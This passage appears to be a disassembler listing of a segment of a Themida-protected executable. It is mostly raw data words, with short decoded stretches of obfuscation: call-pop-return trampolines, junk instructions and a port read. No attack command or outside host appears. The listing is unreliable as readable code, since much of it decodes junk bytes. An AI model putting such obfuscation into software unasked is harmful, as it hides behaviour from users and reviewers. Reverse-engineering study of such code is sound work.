		dd 0EDBF8B5Eh, 67A991C1h, 1A5ABC3Ah, 8DE07FACh,	9546864Ch
		dd 2611CBF1h, 0C8E8C458h, 20B9C41Ah, 797A9DACh,	249D88CFh
		dd 249D80A2h, 20B9C48Bh, 0C67A9589h, 818037C7h,	0A5341B45h
		dd 2612AD68h, 77471BFh,	0F046C2EEh, 0C8E9C449h,	20B9C492h
		dd 787A9CE8h, 249D80EDh, 249D80B3h, 20B9C402h, 4F7A94CCh
		dd 0C451C598h, 0A9E92B59h, 8893B914h, 97B6A4CEh, 0CD24E7ABh
		dd 41BF6C39h, 356C41DFh, 11FAC224h, 888989DBh, 0BD3AAC25h
		dd 243895B2h, 4C6B61ECh, 73B9AE0Fh, 20B9C7DAh, 0E3E2E419h
		dd 4E54DD7h, 4FD4542h, 20B9D327h, 0E3EA8791h, 0B87165F8h
		dd 0CF85955h, 0ABDFC29Ah, 0B50C3BC9h, 4ABF6C83h, 23519446h
		dd 0B9C423h, 0A9E107C9h, 0A1BDE08Ch, 38BDE020h,	60B9C432h
		dd 0A13C0749h, 0ABAD771Bh, 88B0F9CBh, 513C4925h, 4ABF6FF8h
		dd 235197C8h, 0B9C464h,	0A9E20769h, 0A1BDE045h,	34BDE0C8h
		dd 63B9C446h, 0DF900770h, 0EB32A241h, 22384141h, 20D3C2CCh
		dd 20BA2C63h, 7999C419h, 6C309D4Fh, 6438C062h, 20ADC007h
		dd 71F8C491h, 7EE9DB0Bh, 0AD777B6Bh, 8B1BF3B7h,	0D92C4F1Fh
		dd 70BF6C80h, 70EB9616h, 7A88CB71h, 11B69AC9h, 2FEB9499h
		dd 7AE19E55h, 24309C68h, 72B9AE3Dh, 20B9C764h, 0E3E3E446h
		dd 4ED4D79h, 4FD4595h, 20B9DCCCh, 0E3EB8664h, 0C8568684h
		dd 750C4F8Bh, 0DFBF6C9Bh
		dd 88A729D3h, 71B9AE25h, 20B9C779h, 0E3E0E4C8h,	4F54D3Dh
		dd 4FD4536h, 20B9DF1Dh,	0E3E8858Ch, 45E74D7Fh, 0E0A70754h
		dd 2D54491Ah, 0F832C260h, 0A53430EEh, 26126619h, 3E4C7992h
		dd 0A9E9C224h, 20D3E042h, 20BA2C73h, 7899C491h,	64309C0Bh
		dd 6438C040h, 20A1C016h, 70F9C419h, 0CCB5E24Fh,	9FB6885Dh
		dd 345057D0h, 0E7B9C491h, 1A730284h, 97B97FDAh,	65E53AEEh
		dd 40521519h, 70C3C316h, 20B9CCAFh, 0E7246F23h,	0AD4D97DBh
		dd 9EDF57ACh, 0B54645C2h, 2611CD3Bh, 0A9494F7Fh, 88BF4909h
		dd 72B9AE40h, 20B9C7CBh, 0E3E3E491h, 4ED4D92h, 4FD4560h
		dd 20B9D836h, 0E3EB8619h, 0BA98B0D4h, 1FAF5348h, 2636CB33h
		dd 0A9B9C491h, 88B3A57Dh, 4D3C0362h, 2FBF6C25h,	4AB9C419h
		dd 2351918Ch, 0B9C446h,	0A9E4077Eh, 0A1BDE0FDh,	35BDE08Ch
		dd 65B9C464h, 74B70767h, 28A45190h, 0D733C224h,	263451B9h
		dd 20D3C28Bh, 20BA2CC7h, 7E99C4C8h, 54309AA7h, 6438C016h
		dd 20A2C03Dh, 76FFC48Ch, 9F9C2D85h, 0D7B154C4h,	0E938A22Ch
		dd 0A530D25Eh, 2611DFB5h, 0C8EBC458h, 20B9C41Ah, 7A7A9EACh
		dd 249D90CFh, 249D80A2h, 20B9C48Bh, 197A968Ah, 3B165EDCh
		dd 0A532EED3h, 2611DDB8h, 96625901h, 6330C2EDh,	65044922h
		dd 0ADBF6C99h, 8B0F717Dh, 208A7D62h, 844AC432h,	2001F7F2h
		dd 2BB9C48Ch, 0E2BAB086h, 6432C43Bh, 0C8EAC8B5h, 20B9C4C8h
		dd 377A453Fh, 0A9B9C432h, 0A9A9E045h, 7BADE0C8h, 8219F3FEh
		dd 0AB593B23h, 0DFBDE0D5h, 2D044D28h, 0ABBF6C63h, 73B9AEC8h
		dd 20B9C7F1h, 0E3E2E48Ch, 4E54D1Dh, 4FD4527h, 20B9D895h
		dd 0E3EA87C8h, 684B5185h, 0C849D552h, 19344FD4h, 41BF6CA2h
		dd 0C8EAC42Ch, 20B9C420h, 7B7A9FB1h, 249D9841h,	249D80E5h
		dd 20B9C42Ah, 727A975Ah, 0E6AE119h, 2DD8796Dh, 9D34C28Bh
		dd 261266BAh, 97E44945h, 1501C2CFh, 1321E299h, 888AAD9Ch
		dd 0E176EF8Ah, 0D920D3A4h, 4620BA2Ch, 0E07D99C4h, 0B54C3099h
		dd 0EC6438C0h, 6420ADC0h, 0E983FCC4h, 8BA4F305h, 55006AD9h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0CB0834C2h, 4291805Ch, 40E90170h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0A2DEC350h, 2F8365E2h, 606E90BDh, 6161EFB1h,	10E9h
		dd 2F5B3E00h, 1EBDE525h, 20ADBD5Ah, 0D991D965h,	8BF5C365h
		dd 8E0F60C0h, 3, 0E8D8B70Fh, 8,	88A82DFFh, 92654B8Eh, 83615FF9h
		dd 0A81ED9BDh, 9750006h, 2DE9BD83h, 740006A8h, 8B535019h
		dd 4B9B8C0h, 85890000h,	6A80FD5h, 0A2139D8Dh, 0D3FF06AAh
		dd 0BD83585Bh, 6A82DE9h, 50177400h, 4B9B853h, 85890000h
		dd 6A80FD5h, 9EB49D8Dh,	0D3FF06AAh, 8B0F585Bh, 1, 56006AF5h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 70F80EB5h, 3F4D3947h, 6AC08B41h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 59E6C355h
		dd 40283422h, 0BD8BC18Bh, 6A81769h, 4EBh, 8F0F0000h, 0Ch
		dd 68C0Fh, 9D090000h, 6A81B19h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 2AC35343h, 5548FD3Ch, 3385858Dh
		dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 66C8F0C3h, 59FEEE81h, 8B665090h, 6A90FBh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BD039AC3h, 6A8062Dh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 6E333FC3h, 8FE03DF1h
		dd 6A006ABDh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0B67DC357h, 0BFDC4607h, 5222DB54h
		dd 0EFD68166h, 0BD095E5Eh, 6A801A5h, 11E9h, 401B7000h
		dd 0A2AA8BFh, 55F37F80h, 47740614h, 858D740Dh, 6ABBAD8h
		dd 5C083F9h, 7E990h, 989D0000h,	0A0228DF2h, 536050D2h
		dd 10E9h, 0DEDC1700h, 0B995610h, 9C129301h, 9DF08CA0h
		dd 50505F8Eh, 5A310F52h, 90615F58h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 38C35747h, 337C87AEh, 60B97C95h
		dd 0AADBD89h, 8D8906A8h, 6A8144Dh, 6A006A61h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0AD0AC350h, 90879237h, 3AFF9A68h, 0CE9BD8Bh,	6A06A8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 75C35747h
		dd 0CCD7D5h, 8AAC5E5Eh,	254195FFh, 958906A8h, 6A80651h
		dd 8C7F9D8Dh, 958906ABh, 6A80BF9h, 6AD3FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0B9D9BDC3h
		dd 0FB057148h, 0EE93FEEh, 64000000h, 0D219113Bh, 7795630h
		dd 0B5189893h, 0F8B70F80h, 33F185FFh, 6A06A8h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 69DDEAC3h, 96D52A95h, 0B7BF66B3h, 651E9EBh, 0E80000h
		dd 5D000000h, 0BAE2ED81h, 6A06ABh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 5387EBC3h, 0B3ABBF66h
		dd 176DBD81h, 7D006A8h,	860F0000h, 112h, 799B58Bh, 9D8B06A8h
		dd 6A8251Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	1CC35040h, 5E94Ch, 0FBB80000h, 817D24D3h, 100E3h
		dd 29B52300h, 6606A822h, 0D277CE81h, 850FDB0Bh,	89h, 0B8A5BD83h
		dd 0F0006ABh, 4A84h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0CED3C5DFh, 16EA5EF4h
		dd 0F60DB94h, 685h, 0D858B00h, 8906A81Fh, 0A814D18Dh, 8D296106h
		dd 6A82FADh, 67E9h, 3D9D2900h, 0C706A825h, 0ABB8A585h
		dd 106h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0BD8BAA4Bh, 6A814C5h, 2FE9h, 0A585C700h
		dd 6ABB8h, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0C369C350h, 165B5768h,	7028C75Bh
		dd 251D9D8Dh, 238106A8h, 0FFFFFEFFh, 8C66F98Bh,	51006ADBh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 0B926EFA0h, 4C3F6F9h, 0AC840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 7F9880C3h
		dd 47BE669Bh, 8D95FF52h, 6A06A806h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 2399C353h
		dd 737B769Eh, 0CDB58B43h, 0BF06A806h, 68B4A107h, 0F88B6650h
		dd 6A240489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0E24CC357h, 1BA18531h,	0E85706A8h
		dd 6, 53312637h, 12E8DBE5h, 10000000h, 0A4B1DE5Fh, 60EF8ADAh
		dd 5F802A7Eh, 0ECD508CEh, 5F5E5F32h, 17DBD8Bh, 56E906A8h
		dd 0F8000003h, 0BD8900B0h, 6A80DD9h, 71E470E6h,	208B0Fh
		dd 0BE80000h, 0F8000000h, 33821518h, 1B747AC3h,	0AE99A74h
		dd 0CB000000h, 0ECF67B0Bh, 38971045h
		dd 0B60F5F66h, 26D5BED8h, 6BA3818h, 23000000h, 0A817EDBDh
		dd 6AC38B06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 4C71C351h, 0D08FDDC8h,	6604E8C1h
		dd 669873BEh, 800FE2F7h, 0Eh, 5E8h, 90D06E00h, 8B66A2BBh
		dd 0D82B5EFEh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0A8C35141h, 0F3F08240h,	571DD274h, 0B9666036h
		dd 0AE92C91h, 0EC000000h, 89394BC2h, 0C377655Eh, 8B66611Eh
		dd 0BF6650F0h, 1C891165h, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 86572D7Ch
		dd 2F61BD89h, 870F06A8h, 6, 1441B58Bh, 0B5FF06A8h, 6A8176Dh
		dd 95FFF78Bh, 6A81B31h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0C5C35646h, 0A9779B0Fh, 0D9B589C0h, 0B006A80Dh
		dd 19958900h, 0E606A807h, 0A1BD8B70h, 2B06A833h, 0A83241B5h
		dd 6071E406h, 0FF78B66h, 2961DFB7h, 0A821DDBDh,	0F613C06h
		dd 1F483h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 12E2B1F4h, 8C395415h, 300DB58Bh
		dd 0B60F06A8h, 57006AD8h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 1A466DE2h, 0A6BCC43Eh
		dd 0ECD7816Eh, 0BA1EAAE3h, 6, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 95C35242h, 0DFE30BF3h, 0D7A1299h
		dd 1A098D89h, 0C38B06A8h, 27758509h, 0E8C106A8h, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0AC32771Eh, 0EE9DEh,	355E0000h, 63C5AF24h, 71D07543h
		dd 52EA32BDh, 0E9E2F766h, 0Fh, 862EF6FDh, 9E05D2ACh, 74723EA0h
		dd 2B341793h, 58FA8BD8h, 3375BD03h, 0D82B06A8h,	107880Fh
		dd 0FE90000h, 48000000h, 0D8B71C58h, 0CB026C4h,	713F3D56h
		dd 7B92CF2h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 2CDAC351h, 0B0E651F7h
		dd 6830F4Ch, 1000000h, 0A826CD8Dh, 0D1BD8B06h, 8306A80Dh
		dd 0B70F00C1h, 3D8589F8h, 3B06A81Dh, 0A6860FD9h, 8B000000h
		dd 0D98C66FAh, 0F6F98B66h, 840F04C1h, 90h, 2E7D8D89h, 95FF06A8h
		dd 6A8068Dh, 14E68166h,	6A5BE6h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 748FA1C3h, 2BC76A5Eh
		dd 56006AC3h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0A362D159h, 0D75BC68Fh, 8343DFCh, 860F0000h
		dd 2Ch,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah
		dd 69C35545h, 4E9626C2h, 35BE5D32h, 0E973E1E0h,	5, 0B70FC08Bh
		dd 8BC38BFBh, 659D29D8h, 0C706A801h, 0A8302185h, 0CFAFD506h
		dd 57006A18h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 643E3A4Ah, 2482AC96h, 89BD8B42h,	8906A833h
		dd 0A8009D85h, 81C08B06h, 0A8176DBDh, 7D006h, 29850F00h
		dd 0BE000000h, 56B893D2h, 176D85FFh, 6A06A8h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 10F765C3h
		dd 176DB5FFh, 0BD8906A8h, 6A815E1h, 1B3195FFh, 6A06A8h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 830ECEC3h, 0C6CEF54Eh, 68BE66D4h, 0BB47BFFDh, 0B8907F0Fh
		dd 12345678h, 0C11E9D8Dh, 0AFE906ABh, 8BFFFFF9h, 57006AC1h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 21F7FCEAh, 511C3C3Bh, 415CC781h, 0EB5F635Bh,	4, 10E96000h
		dd 1000000h, 97C06173h,	76CA2AE8h, 0B69C08CFh, 0E9D4D420h
		dd 8, 86183391h, 0E75F6FE6h, 0EBF8BE61h, 0EE81742Ch, 0EAE90EAh
		dd 3385858Dh, 0BE6606A8h, 609083D4h, 6D9BBA66h,	0F905061h
		dd 686h, 20D68100h, 6A0BF040h, 0CE900h,	3DB70000h, 8D640B96h
		dd 6ACE9154h, 6AD297h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 9DC35141h, 0A5D573B5h, 8DFFFF45h, 0ABC2ED85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 64323F68h, 9D01524Ah, 6A80E39h, 9005C083h
		dd 5E850h, 4BD10000h, 5F2733A6h, 50006A90h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0FAA7C8E6h
		dd 7B32943Fh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 666078C3h, 0C15EE81h, 1C098509h
		dd 606106A8h, 0E719D23h, 8D8906A8h, 6A81F81h, 0FF006A61h
		dd 0A8254195h, 880F06h,	8D000000h, 0AB8C7F9Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 8997E74Ch, 6AD3FF3Ch, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 9AAFC355h, 0B58B528Ch
		dd 6A809B5h, 2B61B50Bh,	85FF06A8h, 6A833F1h, 0ED46E781h
		dd 0BDE91C48h, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6ABC2F7h
		cmp	dword ptr [ebp+6A8176Dh], 7D0h
		jbe	loc_585E03
		mov	[ebp+6A80DD9h],	eax
		mov	ebx, [ebp+6A81E4Dh]
		jmp	loc_585D3E
; ---------------------------------------------------------------------------
		dd 0F45E76FBh, 3793942Eh, 0A79A0028h, 0AE093BBCh
		db 6, 0FEh
; ---------------------------------------------------------------------------


loc_585D3E:				; CODE XREF: Themida_:00585D27j
		and	ebx, 100h
		mov	[ebp+6A8210Dh],	ecx
		or	ebx, ebx
		jnz	loc_585DA8
		cmp	dword ptr [ebp+6ABC15Ch], 0
		jz	loc_585D70
		mov	[ebp+6A82769h],	eax
		jmp	loc_585DB8
; ---------------------------------------------------------------------------
		xor	[ebp+6A82115h],	esi


loc_585D70:				; CODE XREF: Themida_:00585D59j
		mov	dword ptr [ebp+6ABC15Ch], 1
		call	sub_585D93
		in	al, dx
		fcomp	qword ptr [ebp-69D67BBEh]
		pop	edi
		add	al, 3Ah
		sub	ds:1BE6AA9Fh, cl
		scasb
		xor	byte ptr [ebx],	0D9h

; =============== S U B	R O U T	I N E =======================================



sub_585D93	proc near		; CODE XREF: Themida_:00585D7Ap
		or	di, 90AAh
		pop	esi
		mov	[ebp+6A810FDh],	esi
		jmp	loc_585DB8
; ---------------------------------------------------------------------------
		mov	di, 0B838h


loc_585DA8:				; CODE XREF: Themida_:00585D4Cj
		mov	dword ptr [ebp+6ABC15Ch], 0
		mov	esi, [ebp+6A8333Dh]


loc_585DB8:				; CODE XREF: Themida_:00585D65j
					; sub_585D93+Cj
		lea	ebx, [ebp+6A81E4Dh]
		and	dword ptr [ebx], 0FFFFFEFFh
		push	0
		push	edi
		call	sub_585DCF
		and	[edi-3Dh], bl
sub_585D93	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_585DCF	proc near		; CODE XREF: sub_585D93+34p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_585DCF	endp

; ---------------------------------------------------------------------------
		db 43h
		dd 2391E3A5h, 89005316h, 0A81E2DBDh, 0CE806h, 0BEB90000h
		dd 3AEDF738h, 662D25E7h, 0BE662756h
		db 2Fh,	82h, 5Fh
; ---------------------------------------------------------------------------


loc_585E03:				; CODE XREF: Themida_:00585D15j
		mov	bx, ds
		push	0


loc_585E08:				; CODE XREF: Themida_:00585E7Cj
		push	edx
		call	sub_585E11
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585E11	proc near		; CODE XREF: Themida_:00585E09p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_585E11	endp

; ---------------------------------------------------------------------------
		inc	edx
		js	short loc_585E66
		xchg	eax, ecx
		sub	al, 0F4h
		add	si, 477Bh
		test	bl, 4
		jz	loc_585E83
		push	0
		push	ecx
		call	sub_585E40
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585E40	proc near		; CODE XREF: Themida_:00585E38p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_585E40	endp

; ---------------------------------------------------------------------------
		push	edx
		movsx	edi, si
		call	dword ptr [ebp+6A8068Dh]
		jmp	loc_585E66
; ---------------------------------------------------------------------------
		db 0FAh
		dd 7692347Ch
		db 0E7h, 91h
; ---------------------------------------------------------------------------


loc_585E66:				; CODE XREF: Themida_:00585E22j
					; Themida_:00585E5Aj
		nop
		mov	si, dx
		push	eax
		jmp	loc_585E7E
; ---------------------------------------------------------------------------
		dd 0D5DDBE84h, 0D8A3C5EFh, 73A36620h
; ---------------------------------------------------------------------------
		jmp	short loc_585E08
; ---------------------------------------------------------------------------


loc_585E7E:				; CODE XREF: Themida_:00585E6Bj
		nop
		mov	si, 659h


loc_585E83:				; CODE XREF: Themida_:00585E2Fj
		jmp	loc_586319
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_585E93
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585E93	proc near		; CODE XREF: Themida_:00585E8Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_585E93	endp

; ---------------------------------------------------------------------------
		db 0Dh
; ---------------------------------------------------------------------------
		dec	ebp
		retf
; ---------------------------------------------------------------------------
		dw 0E963h
		dd 870F7ABDh, 16h, 10E8h, 6A111A00h, 0D8EF32E0h, 763BB3CCh
		dd 6F53139Eh, 0B05FE2h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 58C35040h, 55173A7Dh,	20993D20h, 0C78166D1h
		dd 70E60E29h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 16h,	29C35545h, 853132CCh, 6A83495h,	6A71E4h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 691D84C3h, 1539BD8Bh, 0B60F06A8h, 51006AD8h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0A4968C1Eh
		dd 0BAF51F41h, 6, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	6CC35646h, 0C80BDA87h, 10D709D2h, 8BF78B66h, 51006AC3h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0DBF36512h, 8B0618B3h, 0A805F9BDh, 4E8C106h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 7AC35646h, 0BF0D38C4h
		dd 62AC177Fh, 6AE2F766h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0CE81C356h,	89BCE59Ah
		dd 0A828C1BDh, 89D82B06h, 0A83189B5h, 0E9609306h, 8, 47A3DAAFh
		dd 99066372h, 0E9565061h, 7, 0D6AC4A06h, 5E0425ECh, 51006A93h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 94B9DD3Ah, 8166D904h, 0F8C7DFD6h, 176DB5FFh,	0BD8906A8h
		dd 6A81B29h, 1B3195FFh,	6A06A8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8E811C3h, 12000000h
		dd 9851711Ch, 0F5E8D76h, 188Ch,	13E900h, 6C5E0000h, 4ADC0323h
		dd 0A675415Ah, 0FFD74EB5h, 5000BE51h, 0B05E63h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 3BC35545h, 8BDF1DCAh
		dd 0A819A5BDh, 65958906h, 0E606A80Eh, 0CFF68170h, 0E4648F85h
		dd 0F613C71h, 22883h, 0B9B58B00h, 0F06A826h, 6AD8B6h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 664787C3h, 3EDA0068h, 0FDBD8B84h, 0BA06A810h, 6, 6E9h
		dd 0BD89A600h, 0E8C99A5Ah, 13h,	0C4A77263h, 76E12F17h
		dd 72C5DC34h, 0F9E8DC69h, 8B416102h, 0A81B19B5h, 0C38B5F06h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 79C35141h
		dd 9D899255h, 6A81A99h,	0B04E8C1h, 0A82619BDh, 0E2F76606h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 84C35545h
		dd 0BF32304Eh, 1F821874h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0A61725C3h, 0A5BD8B47h
		dd 5806A801h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	0A9C35242h, 0A85B4148h,	0D9DC8896h, 0FD82BFAh
		dd 11C88h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 2DBD8BC8h, 8B06A806h, 0A832D9B5h
		dd 7B906h, 8B660000h, 0C183F3h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0C5C35141h,	6092A377h, 8E98503h
		dd 0BF0F06A8h, 0D93B61CBh, 0B7860Fh, 39BF0000h,	661F0EC5h
		dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 1DC4A5C3h, 0F04C1F6h, 8284h, 8E900h, 4A420000h
		dd 0E5B4D440h, 95FF7D16h, 6A8068Dh, 7CE78166h, 0F38B5B5Eh
		dd 6AC32Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0FBB1DFC3h, 9FE42BFAh, 818BBF3Bh,	343D1E1Ah
		dd 0F000008h, 3286h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0E4A0C4A2h, 0E940D9B2h
		dd 11h,	0AEEE8166h, 45BD8BDAh, 8B06A80Fh, 0F0BF66C0h
		db 0EEh
; ---------------------------------------------------------------------------


loc_586319:				; CODE XREF: Themida_:loc_585E83j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	edi
		call	sub_586328
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586328	proc near		; CODE XREF: Themida_:00586320p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_586328	endp

; ---------------------------------------------------------------------------
		dd 84F0BD4Fh, 9AF3EE67h, 0BE66B088h, 870FAF72h,	6, 2C45B58Bh
		dd 85C706A8h, 6A8251Dh,	330705DDh, 2C798D29h, 0C08B06A8h
		dd 176DBD81h, 7D006A8h,	850F0000h, 1Bh,	0BE9h, 81C7AA00h
		dd 0B95A5241h, 0AD5B68Bh, 176D85FFh, 89BF06A8h,	0FF35C8E7h
		dd 0A8176DB5h, 0E9FB8B06h, 5, 640012CFh, 3195FF20h, 8906A81Bh
		dd 0A82EB995h, 119D2906h, 9006A806h, 53006A40h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0EA9825F8h
		dd 817BCC00h, 2201BD83h, 0F0006A8h, 0D384h, 21B58B00h
		dd 8306A807h, 0A81FE5BDh, 840F0006h, 0C0h, 5F1BD03h, 95FF06A8h
		dd 6A82201h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0D4C35141h, 0C317B8ACh,	9D89F9FEh, 6A80C3Dh, 840FC00Bh
		dd 84h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h
		dd 0C35747h, 0F0B70F43h, 4FAF8D8Dh, 6A06A8h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0B20417C3h
		dd 73EFF3B9h, 8964F177h, 0A81FBD9Dh, 5B806h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 49EBC8C3h, 443050D7h, 0DCE8166h, 66E1FFD4h, 0E272D681h
		dd 3125BD83h, 0F0006A8h, 5AF84h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 7C3AEDCh, 57C3FECDh
		dd 0B529764Ch, 6A81489h, 83FFBF0Fh, 0A81FE5BDh,	840F0006h
		dd 574h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	67C35747h, 0E98CC7EFh, 8DA6EE70h, 0A8314D8Dh, 31576006h
		dd 0A832A5BDh, 0E8605E06h, 0Eh,	2E624A14h, 0D4915A3Ah
		dd 557335D7h, 0E85AD094h, 0Ch, 7C3AEDCh, 57C3FECDh, 8AE9764Ch
		dd 0C761615Eh, 0B27C8401h, 0C5BD8B44h, 8106A830h, 99CFCB01h
		dd 0CE814h, 2F910000h, 2C1963BBh, 86C39F3Ch, 85BEE62Fh
		dd 5E44EB4Ch, 340441C7h, 1CE706Bh, 0A8096D85h, 4418106h
		dd 31D6D710h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ch,	1DC35646h, 8B266121h, 73594925h, 58576060h, 75D8589h
		dd 96106A8h, 0A81B1DBDh, 6A6106h, 314D858Dh, 952906A8h
		dd 6A80DEDh, 0FB8B6650h, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0FFCEC351h
		dd 0A8312595h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
